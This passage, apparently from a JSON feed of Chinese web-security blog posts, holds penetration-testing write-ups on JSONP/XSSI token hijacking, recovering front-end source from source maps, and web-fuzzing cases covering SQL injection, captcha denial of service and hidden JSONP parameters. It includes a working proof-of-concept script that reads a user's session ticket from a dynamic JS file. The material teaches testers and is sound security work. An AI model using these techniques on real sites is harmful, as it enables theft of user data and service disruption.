\u6216\u8bbe\u4e3a<code>0<\/code>\u8ba9\u5176\u67e5\u8be2\u6570\u636e\u7684\u65f6\u95f4\u8303\u56f4\u4e3a\u6700\u5927\u2026\u4ee5\u6b64\u7c7b\u63a8\u3001\u4e3e\u4e00\u53cd\u4e09\u3002<\/p>\n\n<h2 id=\"references\">References<\/h2>\n\n<p>https:\/\/bbs.pediy.com\/thread-252487.htm<\/p>\n\n<p>https:\/\/www.checkmarx.com\/wp-content\/uploads\/2015\/03\/ReDoS-Attacks.pdf<\/p>\n\n<p>https:\/\/zhuanlan.zhihu.com\/p\/41800341<\/p>\n","pubDate":"2020-06-22T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-06-22\/1","guid":"https:\/\/gh0st.cn\/archives\/2020-06-22\/1"},{"title":"[XSSI]\u52a8\u6001JS\u52ab\u6301\u7528\u6237\u4fe1\u606f","description":"<h1 id=\"\u52a8\u6001js\u52ab\u6301\u7528\u6237\u4fe1\u606f\">\u52a8\u6001JS\u52ab\u6301\u7528\u6237\u4fe1\u606f<\/h1>\n\n<p><strong>Webpack+JSONP\u52ab\u6301<\/strong><\/p>\n\n<p>\u4f5c\u8005\uff1akey<\/p>\n\n<p>\u6ce8\uff1a\u672c\u6587\u5df2\u5bf9\u654f\u611f\u4fe1\u606f\u8131\u654f\u5316\uff0c\u5982\u6709\u96f7\u540c\u7eaf\u5c5e\u5de7\u5408\u3002<\/p>\n\n<h2 id=\"\u524d\u8a00\">\u524d\u8a00<\/h2>\n\n<p>\u5728\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u53d1\u73b0\u4e00\u4e2a\u8bf7\u6c42\uff1a<\/p>\n\n<pre><code class=\"language-http\">POST \/user\/getUserInfo HTTP\/1.1\nHost: xxxxx\nCookie: xxxx\n\nticket=xxxxx\n<\/code><\/pre>\n\n<p>\u5176\u5bf9\u5e94\u8fd4\u56de\u7684\u4fe1\u606f\u5305\u542b\u4e86\u6211\u672c\u8eab\u7528\u6237\u7684\u654f\u611f\u4fe1\u606f\uff1a\u624b\u673a\u53f7\u3001\u59d3\u540d\u3001\u90ae\u7bb1\u2026<\/p>\n\n<p>\u901a\u8fc7BurpSuite\u7684\u63d2\u4ef6<code>Logger++<\/code>\u641c\u7d22\u53d1\u73b0\u8be5<code>ticket<\/code>\u503c\u5c45\u7136\u51fa\u73b0\u5728\u4e86JS\u6587\u4ef6\u4e2d\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15782203133182.jpg\" alt=\"-w699\" \/><\/p>\n\n<h2 id=\"\u786e\u5b9a\u6f0f\u6d1e\">\u786e\u5b9a\u6f0f\u6d1e<\/h2>\n\n<p>\u901a\u8fc7\u6d4b\u8bd5\u6211\u53d1\u73b0\u4ee5\u4e0a\u6240\u8ff0\u8bf7\u6c42\u4e2d\u7684<code>Cookie<\/code>\u4e3a\u65e0\u6548\u8bf7\u6c42\u5934\uff0c\u540e\u7aef\u4e0d\u5bf9\u9f50\u6821\u9a8c\uff0c\u4f46\u5bf9<code>ticket<\/code>\u6821\u9a8c\uff0c\u4e5f\u5c31\u8bf4\u660e\u6b64\u5904\u7684<code>ticket<\/code>\u4ee3\u8868\u4e86\u83b7\u53d6\u7528\u6237\u4fe1\u606f\u7684\u5173\u952e\u53c2\u6570\uff0c\u6362\u79cd\u8bf4\u6cd5\uff1a<strong>\u5f53\u4f60\u77e5\u9053\u7528\u6237\u7684<code>ticket<\/code>\u53c2\u6570\u5373\u53ef\u83b7\u53d6\u8be5\u7528\u6237\u4fe1\u606f<\/strong>\u3002<\/p>\n\n<h2 id=\"\u5224\u65adjs\u52a8\u9759\u6001\">\u5224\u65adJS\u52a8\u9759\u6001<\/h2>\n\n<p>\u5f53\u6211\u5728<code>Logger++\u63d2\u4ef6<\/code>\u641c\u7d22\u5230<code>ticket\u503c<\/code>\u5b58\u5728JS\u6587\u4ef6\u5185\u5bb9\u65f6\uff0c\u6211\u7684\u7b2c\u4e00\u60f3\u6cd5\u5c31\u662f\u8fd9\u4e2aJS\u6587\u4ef6\u4e3a\u52a8\u6001\u7c7b\u578b\uff0c\u5176\u6587\u4ef6\u5185\u5bb9\u8ddf\u968f\u7528\u6237\u51ed\u8bc1\u5b57\u6bb5\u7684\u53d8\u5316\u800c\u53d8\u5316\u3002<\/p>\n\n<p>\u6d4b\u8bd5\uff1a\u5220\u9664Cookie\u5b57\u6bb5\uff0c\u7ed3\u679c\uff1a<code>ticket<\/code>\u53c2\u6570\u503c\u6d88\u5931\uff0c\u7531\u6b64\u53ef\u4ee5\u5224\u65ad\u8be5JS\u5185\u5bb9\u4e3a\u52a8\u6001\u7c7b\u578b\u3002<\/p>\n\n<p>\u518d\u5c1d\u8bd5\u5c06\u6d4b\u8bd5\u8d26\u6237A\u7684Cookie\u5b57\u6bb5\u5185\u5bb9\u66ff\u6362\u4e3a\u6d4b\u8bd5\u8d26\u6237B\u7684Cookie\u5b57\u6bb5\u5185\u5bb9\uff0c\u7ed3\u679c\uff1a<code>ticket<\/code>\u53c2\u6570\u503c\u53d8\u4e3a\u6d4b\u8bd5\u8d26\u6237B\u7528\u6237\u7684\u5bf9\u5e94\u503c\uff0c\u7531\u6b64\u53ef\u4ee5\u5224\u65ad\u8be5JS\u6587\u4ef6\u8def\u5f84\u662f\u56fa\u5b9a\u7684\uff0c\u5e76\u4e0d\u662f\u52a8\u6001\u8def\u5f84\u3002<\/p>\n\n<h2 id=\"webpackjsonp\u52ab\u6301\">Webpack+JSONP\u52ab\u6301<\/h2>\n\n<p>\u5df2\u77e5JS\u6587\u4ef6\u8def\u5f84\u4e3a\uff1a<code>https:\/\/website\/app.xxxxx.js<\/code><\/p>\n\n<p>\u67e5\u770b\u5176\u6587\u4ef6\u5185\u5bb9\u53d1\u73b0\u5176\u88abWebpack\u6253\u5305\u8fc7\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15782208726972.jpg\" alt=\"-w143\" \/><\/p>\n\n<p>\u90a3\u4e48\u6211\u4eec\u60f3\u8981\u52ab\u6301\u8fd9\u4e2aJS\u6587\u4ef6\u5185\u5bb9\u5176\u5b9e\u5c31\u53ef\u4ee5\u4f7f\u7528JSONP\u7684PoC\u4ee3\u7801\uff08\u56e0\u4e3a\u8fd9\u6bb5JS\u6587\u4ef6\u5185\u5bb9\u5c31\u662f<code>\u81ea\u5b9a\u4e49\u51fd\u6570+\u4f20\u5165\u53c2\u6570<\/code>\uff09\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">&lt;script&gt;\nfunction webpackJsonp(data) {\n\talert(data)\n}\n&lt;\/script&gt;\n&lt;script src=\"https:\/\/website\/app.xxxxx.js\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u4f46\u8fd9\u6837\u5f97\u4e0d\u5230\u6211\u4eec\u60f3\u8981\u7684<code>ticket<\/code>\u503c\uff0c\u7b80\u5355\u7684\u770b\u4e86\u4e0bJS\u4ee3\u7801\uff0c\u8fd9\u6bb5JS\u4ee3\u7801\u5185\u5bb9\u7684\u683c\u5f0f\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<p>webpackJsonp \u51fd\u6570\u4f20\u5165\u4e24\u4e2a\u53c2\u6570\uff1a\u7b2c\u4e00\u4e2a\u53c2\u6570\u6beb\u65e0\u7528\u5904\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u4f20\u5165\u7684\u503c\u5305\u542b\u4e86\u6211\u4eec\u60f3\u8981\u7684<code>ticket<\/code>\u503c\u3002<\/p>\n\n<p>\u90a3\u4ee5\u4e0a\u4ee3\u7801\u5c31\u53ef\u4ee5\u8fd9\u6837\u4fee\u6539\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">&lt;script&gt;\nfunction webpackJsonp(data, data1) {\n\talert(data1)\n}\n&lt;\/script&gt;\n&lt;script src=\"https:\/\/website\/app.xxxxx.js\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u4f46\u6211\u4eec\u8fd8\u662f\u6ca1\u5f97\u5230\u6211\u4eec\u60f3\u8981\u7684\u4fe1\u606f\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15782215229911.jpg\" alt=\"-w517\" \/><\/p>\n\n<p>\u56e0\u4e3a\u7b2c\u4e8c\u6bb5\u53c2\u6570\u4f20\u5165\u7684\u503c\u8fd8\u9700\u8981\u8fdb\u884c\u89e3\u6790\uff0c\u6211\u53d1\u73b0\u8fd9\u6bb5\u503c\u5185\u5bb9\u5c31\u662f\u4e00\u6bb5JSON\u5bf9\u8c61\uff0c\u800c\u5bf9\u8c61\u7684\u6bcf\u4e2a\u5c5e\u6027\u90fd\u5728\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15782216768669.jpg\" alt=\"-w411\" \/><\/p>\n\n<p>\u5bfb\u627e<code>ticket<\/code>\u6240\u5728\u51fd\u6570\u4f4d\u7f6e\uff0c\u53d1\u73b0\u5176\u5728<code>jbTV: function...<\/code>\u5185\uff0c\u77e5\u9053\u4e86\u6240\u5728\u51fd\u6570\u4f4d\u7f6e\uff0cPoC\u4ee3\u7801\u53ea\u9700\u8981\u8fd9\u6837\u8fdb\u884c\u6784\u5efa\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">&lt;script&gt;\nfunction webpackJsonp(data, data1) {\n\talert(data1['jbTV'])\n}\n&lt;\/script&gt;\n&lt;script src=\"https:\/\/website\/app.xxxxx.js\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u8bbf\u95ee\uff0c\u6210\u529f\u83b7\u53d6\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15782218407604.jpg\" alt=\"-w1239\" \/><\/p>\n\n<p>\u540e\u9762\u53ea\u9700\u8981\u7a0d\u5fae\u7684\u52a0\u4e2a\u6b63\u5219\u5c31\u53ef\u4ee5\u4e86\uff5e<\/p>\n\n<h2 id=\"\u653b\u51fb\u65b9\u5f0f\">\u653b\u51fb\u65b9\u5f0f<\/h2>\n\n<p>\u7528\u6237\u767b\u5f55\u72b6\u6001\uff0c\u8bbf\u95ee\u8be5\u6f0f\u6d1e\u9875\u9762\uff0c\u89e6\u53d1\u5373\u53ef\u83b7\u53d6\u5230<code>ticket<\/code>\u503c\uff0c\u5c06\u8be5\u503c\u5e26\u5165\u4ee5\u4e0a\u6240\u5217\u8bf7\u6c42\u4e2d\u5373\u53ef\u8d8a\u6743\u83b7\u53d6\u7528\u6237\u4fe1\u606f<\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u5fc3\u7ec6\u4e00\u70b9\uff0c\u6f0f\u6d1e\u5c31\u5728\u773c\u524d\uff0c<\/p>\n","pubDate":"2020-01-08T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-01-08\/3","guid":"https:\/\/gh0st.cn\/archives\/2020-01-08\/3"},{"title":"\u5229\u7528SourceMap\u8fd8\u539f\u7f51\u7ad9\u539f\u59cb\u4ee3\u7801(\u524d\u7aef)","description":"<h1 id=\"\u5229\u7528sourcemap\u8fd8\u539f\u7f51\u7ad9\u539f\u59cb\u4ee3\u7801\u524d\u7aef\">\u5229\u7528SourceMap\u8fd8\u539f\u7f51\u7ad9\u539f\u59cb\u4ee3\u7801(\u524d\u7aef)<\/h1>\n\n<p>\u4f5c\u8005\uff1akey<\/p>\n\n<h2 id=\"\u8bf4\u660e\">\u8bf4\u660e<\/h2>\n\n<p>\u73b0\u5728\u8d8a\u6765\u8d8a\u591a\u7f51\u7ad9\u4f7f\u7528\u524d\u540e\u7aef\u5206\u79bb\u6280\u672f\uff0c\u5229\u7528Webpack\u6280\u672f\u5c06JS\u7c7b\u62d3\u5c55\u8bed\u8a00\u8fdb\u884c\u6253\u5305\uff0c\u5f53\u7136\u5f88\u591a\u90fd\u662f\u914d\u5957\u4f7f\u7528\uff0c\u4f8b\u5982Vue\uff08\u524d\u7aefJavascript\u6846\u67b6\uff09+Webpack\u6280\u672f\uff1b<\/p>\n\n<p>\u8fd9\u79cd\u6280\u672f\u4e5f\u5728\u666e\u53ca\uff0c\u5e76\u4e14\u8f6c\u5411\u5e38\u6001\u5316\uff0c\u5bf9\u6e17\u900f\u6d4b\u8bd5\u4eba\u5458\u6765\u8bf4\u6781\u5176\u4e0d\u53cb\u597d\uff1a<\/p>\n\n<p>1.\u589e\u52a0\u4e86\u524d\u7aef\u4ee3\u7801\u9605\u8bfb\u7684\u65f6\u95f4\uff08\u53ef\u8bfb\u6027\u5f88\u5dee\uff09\n2.\u7531\u539f\u56e01\u95f4\u63a5\u9020\u6210\u4e86\u524d\u7aef\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u56f0\u96be\u6027<\/p>\n\n<p>\u4f46\u662f\u4e5f\u5177\u5907\u4e00\u5b9a\u7684\u597d\u5904\uff1a<\/p>\n\n<p>1.\u91c7\u7528\u8fd9\u79cd\u6a21\u5f0f\uff0c\u540e\u7aef\u63a5\u53e3\u5c06\u5b8c\u5168\u66b4\u9732\u5728JS\u6587\u4ef6\u4e2d<\/p>\n\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u5982\u679c\u751f\u6210\u4e86Source Map\u6587\u4ef6\u53ef\u4ee5\u5229\u7528\u8be5\u6587\u4ef6\u8fd8\u539f\u7f51\u7ad9\u539f\u59cb\u524d\u7aef\u4ee3\u7801\uff08\u5173\u4e8e\u6280\u672f\u540d\u8bcd\u7684\u5177\u4f53\u542b\u4e49\u8bf7\u81ea\u884c\u67e5\u8be2\u767e\u79d1\uff09<\/p>\n\n<p>\u4e3b\u6d41\u6d4f\u89c8\u5668\u90fd\u81ea\u5e26\u89e3\u6790Source Map\u6587\u4ef6\u529f\u80fd\uff08\u5f00\u53d1\u8005\u5de5\u5177-Sources\u3010\u706b\u72d0\u4e0b\u662f\u8c03\u8bd5\u5668\u3011\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15776956466997.jpg\" alt=\"-w270\" \/><\/p>\n\n<p>\u5c55\u5f00\u53ef\u4ee5\u770b\u89c1\u5177\u4f53\u6587\u4ef6\u548c\u4ee3\u7801\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15776957736400.jpg\" alt=\"-w267\" \/><\/p>\n\n<p>\u4f46\u662f\u6587\u4ef6\u8fc7\u591a\u7684\u60c5\u51b5\u4e0b\uff0c\u5355\u4e2a\u67e5\u770b\u7e41\u7410\uff0c\u4e0d\u4fbf\u4e8e\u641c\u7d22\uff08\u6d4f\u89c8\u5668\u7684\u5f00\u53d1\u8005\u5de5\u5177\u652f\u6301\u5168\u5c40\u6587\u4ef6\u641c\u7d22\uff0c\u4f46\u641c\u7d22\u901f\u5ea6\u8f83\u6162\uff09\uff0c\u4f7f\u7528<code>restore-source-tree<\/code>\u53ef\u4ee5\u89e3\u51b3\u8fd9\u4e00\u95ee\u9898\u3002<\/p>\n\n<h2 id=\"restore-source-tree-\u5b89\u88c5\">restore-source-tree \u5b89\u88c5<\/h2>\n\n<p>\u539f\u4f5c\u8005\u7684\u6709BUG\uff0c\u4f7f\u7528\u56fd\u5916\u53cb\u4eba\u4fee\u590d\u540e\u7684\u7248\u672c\uff1ahttps:\/\/github.com\/laysent\/restore-source-tree\uff0c\u5b89\u88c5\u6b65\u9aa4\u5982\u4e0b\uff1a<\/p>\n\n<pre><code class=\"language-shell\">git clone https:\/\/github.com\/laysent\/restore-source-tree\ncd restore-source-tree\nsudo npm install -g\n<\/code><\/pre>\n\n<h2 id=\"source-map\u6587\u4ef6\u8fd8\u539f\">Source Map\u6587\u4ef6\u8fd8\u539f<\/h2>\n\n<p>\u5728\u8fd9\u7c7bJS\u6587\u4ef6\u4e0b\u901a\u5e38\u4f1a\u6709\u4e00\u4e2a\u6ce8\u91ca\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15776960439534.jpg\" alt=\"-w568\" \/><\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15776960674880.jpg\" alt=\"-w717\" \/><\/p>\n\n<p>map\u6587\u4ef6\u5c31\u662fjs\u6587\u4ef6\u6240\u5728\u76ee\u5f55\u4e0b\uff0c\u62fc\u63a5URL\u5373\u53ef\u8bbf\u95ee\uff0c\u5c06\u5176\u4e0b\u8f7d\u4e0b\u6765\uff1a<\/p>\n\n<p><code>wget http:\/\/hostname\/static\/js\/app.fedfe85b2fdd8cf29dc7.js.map<\/code><\/p>\n\n<p><code>restore-source-tree<\/code>\u8fdb\u884c\u8fd8\u539f\uff1a<\/p>\n\n<pre><code class=\"language-shell\"># -o \u53c2\u6570\u662f\u6307\u5b9a\u8f93\u51fa\u76ee\u5f55\uff0c\u82e5\u4e0d\u9002\u7528\u5219\u4e3a\u9ed8\u8ba4\u7684output\u76ee\u5f55\nrestore-source-tree app.fedfe85b2fdd8cf29dc7.js.map\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2020-01-08\/15776962157760.jpg\" alt=\"-w611\" \/><\/p>\n\n<p>\u6210\u529f\u83b7\u5f97\u539f\u4ee3\u7801\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-01-08\/15776962339667.jpg\" alt=\"-w281\" \/><\/p>\n\n<h1 id=\"reference\">Reference<\/h1>\n\n<p>https:\/\/yukaii.tw\/blog\/2017\/02\/21\/restore-source-code-from-sourcemap-file\/<\/p>\n","pubDate":"2020-01-08T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-01-08\/2","guid":"https:\/\/gh0st.cn\/archives\/2020-01-08\/2"},{"title":"WebFuzzing\u65b9\u6cd5\u548c\u6f0f\u6d1e\u6848\u4f8b\u603b\u7ed3","description":"<h1 id=\"webfuzzing\u65b9\u6cd5\u548c\u6f0f\u6d1e\u6848\u4f8b\u603b\u7ed3\">WebFuzzing\u65b9\u6cd5\u548c\u6f0f\u6d1e\u6848\u4f8b\u603b\u7ed3<\/h1>\n\n<p>\u4f5c\u8005\uff1aVulkey_Chen<\/p>\n\n<p>\u535a\u5ba2\uff1agh0st.cn<\/p>\n\n<h2 id=\"\u80cc\u666f\">\u80cc\u666f<\/h2>\n\n<p>\u4e4b\u524d\u6709\u5e78\u505a\u8fc7\u4e00\u6b21\u7ebf\u4e0b\u7684\u8bae\u9898\u5206\u4eab\u300a\u6211\u7684Web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def\u300b\uff0c\u8bb2\u89e3\u4e86\u4e00\u4e9b\u5e38\u7528\u7684WebFuzzing\u6280\u5de7\u548c\u6848\u4f8b\uff0c\u8be5\u8bae\u9898\u5f97\u5230\u4e86\u5f88\u5927\u7684\u56de\u54cd\uff0c\u5f88\u591a\u5e08\u5085\u4eec\u4e5f\u4e0e\u6211\u8fdb\u884c\u4e86\u4ea4\u6d41\uff0c\u4f46\u8003\u8651\u5230\u4e4b\u524d\u5206\u4eab\u8fc7\u5f88\u591a\u601d\u8def\u975e\u5e38\u4e0d\u5168\u9762\uff0c\u8fd9\u91cc\u4ee5\u672c\u7bc7\u6587\u7ae0\u4f5c\u4e3a\u4e00\u6b21\u603b\u7ed3\uff0c\u4ee5\u5b9e\u6218\u5f15\u51fa\u6280\u5de7\u601d\u8def\uff08\u65b9\u6cd5\uff09\u3002<\/p>\n\n<p>\u6211\u7684Web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def\u8bae\u9898\u89e3\u8bfb\uff1a<code>https:\/\/gh0st.cn\/archives\/2018-07-25\/1<\/code> \uff08\u63a8\u8350\u9605\u8bfb\uff09<\/p>\n\n<h2 id=\"\u5b9e\u6218\u6848\u4f8b\">\u5b9e\u6218\u6848\u4f8b<\/h2>\n\n<p>\u4ee5\u4e0b\u5206\u4eab\u7684\u6848\u4f8b\u90fd\u662f\u4e2a\u4eba\u5728\u53c2\u4e0e\u9879\u76ee\u6216\u79c1\u5bc6\u4f17\u6d4b\u9080\u8bf7\u65f6\u9047\u89c1\u7684\u771f\u5b9e\u6848\u4f8b\uff0c\u6848\u4f8b\u5927\u591a\u57fa\u4e8e\u4e2a\u4eba\u6536\u96c6\u548c\u6574\u7406\u7684<code>FuzzDict\u9879\u76ee<\/code>\uff08\u5b57\u5178\u5e93\uff09\u3002<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/fuzzdict.png\" alt=\"fuzzdict\" \/><\/p>\n\n<p>\u5176\u4e2d\u6d89\u53ca\u7684\u4e00\u4e9b\u6f0f\u6d1e\u53ef\u80fd\u65e0\u6cd5\u4f5c\u4e3aFuzzing\u5f52\u7c7b\uff0c\u8fd9\u91cc\u4e5f\u8fdb\u884c\u4e86\u5f3a\u884c\u7684\u5f52\u7c7b\uff0c\u53ea\u662f\u60f3\u544a\u8bc9\u5927\u5bb6\u6f0f\u6d1e\u6316\u6398\u4e2d\u601d\u8def\u53d1\u6563\u7684\u91cd\u8981\u6027\uff0c\u4e2a\u4eba\u4e5f\u89c9\u5f97\u6bd4\u8f83\u7ecf\u5178\u3002<\/p>\n\n<p><strong>\u6ce8\uff1a<\/strong> \u6f0f\u6d1e\u6848\u4f8b\u8fdb\u884c\u4e86\u8131\u654f\u4ee5\u53ca\u7ec6\u8282\u4e0a\u7684\u4fee\u6539\u3002<\/p>\n\n<h3 id=\"\u6848\u4f8b-add\">\u6848\u4f8b-Add<\/h3>\n\n<h4 id=\"sqli\u6ce8\u5165\u6f0f\u6d1e\">[SQLi\u6ce8\u5165\u6f0f\u6d1e]<\/h4>\n\n<p>1.\u83b7\u5f97\u9879\u76ee\u5b50\u57df\uff1a<code>https:\/\/xxx.com<\/code><\/p>\n\n<p>2.\u76ee\u5f55\u626b\u63cf\u53d1\u73b0<code>\/user\/<\/code>\u76ee\u5f55\uff0c\u4e8c\u5c42\u63a2\u6d4b\u53d1\u73b0<code>\/register<\/code>\u63a5\u53e3\uff0c\u5176\u610f\u4e3a\uff1a\u201c\u6ce8\u518c\u201d<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722710437139.jpg\" alt=\"-w538\" \/><\/p>\n\n<p>3.\u6839\u636e\u8fd4\u56de\u72b6\u6001\u4fe1\u606f\u53bbFuzz\u7528\u6237\u540d\u3001\u5bc6\u7801\u53c2\u6570-&gt;\u7ed3\u679c\uff1a<code>uname\\pwd<\/code><\/p>\n\n<p>4.\u5bf9<code>uname\u53c2\u6570<\/code>\u8fdb\u884cSQL\u6ce8\u5165\u6d4b\u8bd5\uff0c\u7b80\u5355\u7684\u903b\u8f91\u5224\u65ad\u5b58\u5728<\/p>\n\n<p>5.\u6ce8\u5165\u70b9\u4f7f\u752816\u8fdb\u5236\u7684\u65b9\u5f0f\u65e0\u6cd5\u6ce8\u5165\uff0cSQLmap\u53c2\u6570<code>--no-escape<\/code>\u5373\u53ef\u7ed5\u8fc7<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722712162025.jpg\" alt=\"-w648\" \/><\/p>\n\n<h4 id=\"\u62d2\u7edd\u670d\u52a1\u56fe\u7247\u9a8c\u8bc1\u7801\">[\u62d2\u7edd\u670d\u52a1]\u56fe\u7247\u9a8c\u8bc1\u7801<\/h4>\n\n<p>\u56fe\u7247\u9a8c\u8bc1\u7801DoS\uff08\u62d2\u7edd\u670d\u52a1\u653b\u51fb\uff09\u8fd9\u4e2a\u601d\u8def\u5f88\u65e9\u5c31\u51fa\u6765\u4e86\uff0c\u5f53\u65f6\u7684\u7b2c\u4e00\u60f3\u6cd5\u5c31\u662f\u91c7\u96c6\u6837\u672c\u6536\u96c6\u53c2\u6570\uff0c\u4f7f\u7528\u641c\u7d22\u5f15\u64ce\u5bfb\u627e\u5b58\u5728\u56fe\u7247\u9a8c\u8bc1\u7801\u7684\u70b9\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722714688846.jpg\" alt=\"-w800\" \/><\/p>\n\n<p>\u6839\u636e\u8fd9\u4e9b\u70b9\u5199\u4e86\u4e2a\u811a\u672c\u8fdb\u884c\u534a\u81ea\u52a8\u7684\u53c2\u6570\u6536\u96c6\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722718429294.jpg\" alt=\"-w1134\" \/><\/p>\n\n<p>\u5728\u6f0f\u6d1e\u6316\u6398\u7684\u8fc7\u7a0b\u4e2d\uff0c\u7ecf\u5e38\u4f1a\u6293\u53d6\u56fe\u7247\u9a8c\u8bc1\u7801\u7684\u8bf7\u6c42\u8fdb\u884cFuzz\uff1a<\/p>\n\n<p>\u56fe\u7247\u9a8c\u8bc1\u7801\u5730\u5740\uff1ahttps:\/\/xxx\/validateCode\n<img src=\"\/images\/2019-11-11\/15722716485524.jpg\" alt=\"-w606\" \/><\/p>\n\n<p>Fuzz\u5b58\u5728\u6f5c\u85cf\u53c2\u6570\uff0c\u53ef\u63a7\u9a8c\u8bc1\u7801\u751f\u6210\u5927\u5c0f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722718790178.jpg\" alt=\"-w706\" \/><\/p>\n\n<h4 id=\"jsonp\u65e0\u4e2d\u751f\u6709\">[JSONP]\u65e0\u4e2d\u751f\u6709<\/h4>\n\n<p>\u83b7\u5f97\u4e00\u4e2a\u654f\u611f\u4fe1\u606f\u8fd4\u56de\u7684\u8bf7\u6c42\u7aef\u70b9\uff1a<code>http:\/\/xxx\/getInfo<\/code><\/p>\n\n<p>\u4f7f\u7528<code>callback_dict.txt<\/code>\u5b57\u5178\u8fdb\u884cFuzz\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722720029660.jpg\" alt=\"-w536\" \/><\/p>\n\n<p>\u6210\u529f\u53d1\u73b0<code>callback<\/code>\u8fd9\u4e2a\u6f5c\u85cf\u53c2\u6570\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722721391525.jpg\" alt=\"-w907\" \/><\/p>\n\n<h4 id=\"\u903b\u8f91\u6f0f\u6d1e\u54cd\u5e94\u53d8\u8bf7\u6c42\">[\u903b\u8f91\u6f0f\u6d1e]\u54cd\u5e94\u53d8\u8bf7\u6c42<\/h4>\n\n<p>\u8fd9\u91cc\u540c\u6837\u662f\u83b7\u5f97\u4e00\u4e2a\u654f\u611f\u4fe1\u606f\u8fd4\u56de\u7684\u8bf7\u6c42\u7aef\u70b9\uff1a<code>http:\/\/xxx\/getInfo<\/code><\/p>\n\n<p>\u8fd4\u56de\u7684\u4fe1\u606f\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n\n<pre><code class=\"language-json\">{\"responseData\":{\"userid\":\"user_id\",\"login\":\"user_name\",\"password\":\"user_password\",\"mobilenum\":\"user_mobilephone_number\",\"mobileisbound\":\"01\",\"email\":\"user_email_address\"}}\n<\/code><\/pre>\n\n<p>\u5c1d\u8bd5\u4e86\u4e00\u4e9b\u6d4b\u8bd5\u601d\u8def\u90fd\u65e0\u6cd5\u53d1\u73b0\u5b89\u5168\u6f0f\u6d1e\uff0c\u4e8e\u662f\u60f3\u5230\u4e86<code>\u54cd\u5e94\u53d8\u8bf7\u6c42<\/code>\u601d\u8def\u3002<\/p>\n\n<p>\u5c06\u54cd\u5e94\u62a5\u6587\u7684JSON\u5b57\u6bb5\u5185\u5bb9\u8f6c\u5316\u4e3aHTTP\u8bf7\u6c42\u7684\u5b57\u6bb5\u5185\u5bb9\uff08BurpSuite\u63d2\u4ef6\u9879\u76ee\uff1a<code>https:\/\/github.com\/gh0stkey\/JSONandHTTPP<\/code>\uff09\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722723549196.jpg\" alt=\"\" \/><\/p>\n\n<p>\u5c06\u76f8\u5173\u7684\u4fe1\u606f\u5b57\u6bb5\u5185\u5bb9\u66ff\u6362\u4e3a\u6d4b\u8bd5\u8d26\u53f7B\u7684\u4fe1\u606f\uff08\u4f8b\u5982\uff1alogin=A -&gt; login=B\uff09<\/p>\n\n<p>\u53d1\u73b0\u65e0\u6cd5\u5f97\u5230\u9884\u671f\u7684\u8d8a\u6743\u6f0f\u6d1e\uff0c\u5e76\u5c1d\u8bd5\u5206\u6790\u8be5\u7f51\u7ad9\u5176\u4ed6\u8bf7\u6c42\u63a5\u53e3\u5bf9\u5e94\u7684\u53c2\u6570\uff0c\u53d1\u73b0\u90fd\u4e3a\u5927\u5199\uff0c\u5c06\u4e4b\u524d\u7684\u53c2\u6570\u8f6c\u6362\u4e3a\u5927\u5199\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722724827925.jpg\" alt=\"\" \/><\/p>\n\n<p>\u7ee7\u7eedFuzz\uff0c\u7ed3\u679c\u5374\u51fa\u4eba\u610f\u6599\u8fbe\u5230\u4e86\u9884\u671f\uff1a<\/p>\n\n<p><img src=\"\/images\/2019-11-11\/15722725077041.jpg\" alt=\"\" \/><\/p>\n\n<h3 id=\"\u6848\u4f8b-update\">\u6848\u4f8b-Update<\/h3>\n\n<h4 